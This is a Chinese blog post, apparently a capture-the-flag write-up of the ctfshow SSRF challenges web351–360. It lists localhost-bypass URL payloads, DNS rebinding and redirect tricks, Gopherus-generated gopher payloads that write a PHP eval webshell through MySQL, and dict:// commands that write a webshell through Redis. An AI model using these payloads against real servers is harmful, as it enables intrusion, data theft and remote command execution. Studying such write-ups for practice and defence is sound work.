IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> ctfshow SSRF -> 正文阅读

[PHP知识库]ctfshow SSRF

web 351

直接读取本地文件

url=file:///var/www/html/flag.php

url=127.0.0.1/flag.php

web352

这里要求是http或者https协议,只需要满足这个就可以了。

url=http://localhost/flag.php

url=http://127.0.0.1/flag.php

url=http://127.1/flag.php

url=http://0.0.0.0/flag.php

url=http:/0/flag.php

url=http://127.127.127.127/flag.php

url=http://127。0。0。1/flag.php

url=http://0x7F.0.0.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://2130706433/flag.php

url=http://0x7F000001/flag.php

web353

url=http://127.1/flag.php

url=http://0177.0.0.1/flag.php

url=http://0x7F000001/flag.php

url=http://0x7F.0.0.1/flag.php

url=http://2130706433/flag.php

url=http://0.0.0.0/flag.php

借助352的一大堆可以打。

web354

http://sudo.cc这个是解析到127.0.0.1的域名,直接用即可。

url=http://sudo.cc/flag.php

web355

PHP: parse_url - Manual

因为$host<5,所以构造个小于5的payload就可以了。

url=http://127.1/flag.php

url=http://0/flag.php

web356

$host小于3

url=http://0/flag.php

web357

PHP FILTER_VALIDATE_IP 过滤器 | 菜鸟教程

这题过滤了,不能访问内网的IP,有两个方法来完成这题。

一、302跳转?

在服务器上新建一个302.php,内容如下:

<?php?

header("Location:http://127.0.0.1/flag.php");

二、Dns重绑定?

CEYE - Monitor service for security testing

在上面这个平台注册后,它会给你一个域名,把dns重绑定的东西改成下面。第一个写公网的IP,第二个写127.0.0.1。

大致的原理是:

输入payload,在waf检查的时候,本地Dns服务器向Dns服务器发起请求,解析域名,刚好重绑定到公网的1.1.1.23。

然后在file_get_contents($url);读取文件时,TLE时间快速失效,Dns服务器缓存清空,得重新对域名进行解析,这时恰好重绑定到127.0.0.1这个ip,顺利读到内网的文件。

因为这个dns重绑定解析到哪个ip是随机的,有可能第一个是127.0.0.1,第二个也是127.0.0.1,这个得看运气。也有可能在过waf的时候就解析到1.1.1.23,读取文件的时候解析到127.0.0.1,直接一次成功。

所以得多试几次

具体的可以看一下大佬的文章。?

?浅谈DNS重绑定漏洞 - 知乎

web358

.*是正则表达的贪婪法制,匹配尽可能多的字符。

url=http://ctf.@127.0.0.1/flag.php?show

url=http://ctf.@127.0.0.1/flag.php#show

为什么访问的是@后面的127.0.0.1,这与parse_url的解析有关。

PHP: parse_url - Manual

web359

题目提示打无密码的mysql,这里感觉也算是盲打了,第一是不知道secure_file_priv的值,也就是说允不允许导入导出;第二是不知道当前网站路径有没有写入权限;

因为是无密码的mysql,有三种利用方式。

一是可以构造原生数据包通过gopher查数据库的数据

二是写webshell

三是UDF提权

先一个个来试吧,因为第一和第三种有点麻烦,先试一下最简单的第二种。

打开gopher小工具https://github.com/tarunkant/Gopherus

使用方式:

python2 gopherus.py --exploit mysql

Give MySQL username: root? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ? ?

Give query to execute: select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

将得的结果在_后面再url全编码一次。

访问url/1.php,然后在post处命令执行。

web360

和上题差不多的方法,用gopher打redis。

可能是写webshell、反弹shell、写公钥,也是得一个个试。

这题的话是写webshell,直接利用小工具

What do you want?? (ReverseShell/PHPShell): phpshell

Give web root location of server (default is /var/www/html): Give PHP Payload (We have default PHP Shell): <?php eval($_POST[1]);?>

URL编码一下_后面的内容,生成的webshell默认是shell.php中

发的包会超时,但是没事,shell.php还是生成了。

刚想起另外一个骚姿势,其实也和用gopher生成的差不多,原理都是差不多,只不过这个用的是dict协议。

# 清空 key
flushall

# 设置要操作的路径为网站根目录
config set dir /var/www/html

# 在网站目录下创建 shell.php 文件
config set dbfilename shell.php

# 设置 shell.php 的内容
set x "\n<?php eval($_GET[1]);?>\n"

# 保存上述操作
save
?

dict://127.0.0.1:6379/flushall

dict://127.0.0.1:6379/config set dir? /var/www/html

dict://127.0.0.1:6379/config set dbfilename shell.php?

dict://127.0.0.1:6379/set x? "\n<?php eval($_GET[1]);?>\n"

dict://127.0.0.1:6379/save

在第四步写一句话的时候得换成代码的十六进制,直接写的话,可能是得转义或者过滤的原因,问号过不了,会显示命令执行失败,先把一句话在bp转成ascll的十六进制。

在写入的时候每两位插入一个\x,以表示代码的十六进制。

最后在shell.php执行system('cat /f*');就行了。?

  PHP知识库 最新文章
Laravel 下实现 Google 2fa 验证
UUCTF WP
DASCTF10月 web
XAMPP任意命令执行提升权限漏洞(CVE-2020-
[GYCTF2020]Easyphp
iwebsec靶场 代码执行关卡通关笔记
多个线程同步执行,多个线程依次执行,多个
php 没事记录下常用方法 (TP5.1)
php之jwt
2021-09-18
上一篇文章      下一篇文章      查看所有文章
加:2022-03-03 15:48:22  更:2022-03-03 15:48:39 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年12日历 -2024/12/26 16:17:50-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码
数据统计